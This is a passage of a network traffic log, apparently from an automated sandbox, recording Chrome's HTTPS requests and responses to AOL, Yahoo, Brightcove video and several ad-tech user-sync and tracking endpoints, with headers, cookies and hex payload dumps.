Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:05 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:05 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:05 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.6	50269	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4360-9b8b-708d3dc180a0/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfNjIwZjA0NmJlMDJjYWFkNThmZDFjN2YyZmMzNDE5MzZlNjQzM2EwZDM2M2U0NjI5OTg5Y2E2MDNlYmFkNDk5ZQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	633	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 varnish Age: 9 X-Served-By: cache-nyc-kteb1890022-NYC X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503706.037147,VS0,VE1 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:06 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 59 7a 52 66 4d 7a 51 34 4e 57 56 6d 4f 44 51 77 4d 44 49 79 59 6a 56 6d 4d 47 5a 6b 4d 6d 55 79 4d 47 49 7a 5a 57 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZW
2024-05-23 22:35:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:06 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:06 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 33 36 30 2d 39 62 38 62 2d 37 30 38 64 33 64 63 31 38 30 61 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 65 64 64 61 36 61 37 31 30 35 62 66 36 61 61 30 63 64 32 35 66 34 31 38 31 32 33 38 34 62 64 64 37 39 38 35 62 63 64 36 33 35 62 64 34 39 35 61 65 39 62 36 63 37 36 39 38 35 31 37 66 61 33 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/2663edf9-fafe-4360-9b8b-708d3dc180a0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=edda6a7105bf6aa0cd25f41812384bdd7985bcd635bd495ae9b6c7698517fa36#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 33 36 30 2d 39 62 38 62 2d 37 30 38 64 33 64 63 31 38 30 61 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 65 64 64 61 36 61 37 31 30 35 62 66 36 61 61 30 63 64 32 35 66 34 31 38 31 32 33 38 34 62 64 64 37 39 38 35 62 63 64 36 33 35 62 64 34 39 35 61 65 39 62 36 63 37 36 39 38 35 31 37 66 61 33 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4360-9b8b-708d3dc180a0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=edda6a7105bf6aa0cd25f41812384bdd7985bcd635bd495ae9b6c7698517fa36#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.6	50258	178.250.1.9	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	787	OUT	GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	463	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:05 GMT server: Kestrel location: https://widget.us.criteo.com/dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 server-processing-duration-in-ticks: 86091 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.6	50221	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	767	OUT	GET /w/1.0/sd?id=537148856&val=Zk-ElAAAAUphKgAT&_test=Zk-ElAAAAUphKgAT HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
2024-05-23 22:35:06 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.6	50211	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	714	OUT	GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
2024-05-23 22:35:06 UTC	486	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:06 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //inv-nets.admixer.net/adxcm.aspx?ssp=D41B0D84-4DB7-4D9C-81CC-3A497DB5D0A6&gdpr=0&consent=&rurl=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D354%26user_id%3D%24%24visitor_cookie%24%24%26ssp%3Dmedianet%26bsw_param%3Dad3998d2-fd62-4225-919d-66f459efadb2%26gdpr%3D0%26consent%3D%26gdpr_pd%3D1%26expires%3D7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.6	50212	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	727	OUT	GET /xuid?mid=3658&xuid=8369ae03-bf51-422b-a15c-33306b0e1dfe&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:06 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:06 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:06 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:06 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.6	50231	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1155	OUT	GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1716503705673 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-fe1304b9-a817-48cf-90fb-9f7a0066a0de-003%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-05-23 22:35:06 UTC	834	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:06 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-fe1304b9-a817-48cf-90fb-9f7a0066a0de-003%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Fri, 23 May 2025 22:35:06 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ad.turn.com/r/cs?pid=45&rndcb=7825669925 etag: RXfe1304b9a81748cf90fb9f7a0066a0de003 connection: close
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.6	50277	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	823	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503699153&seq=3&response_time_ms=1457 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.6	50282	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1602	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&time=1716503699269&event=play_request&video_data=&video_ads_supported=false&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysS [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.6	50300	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1109	OUT	GET / HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; 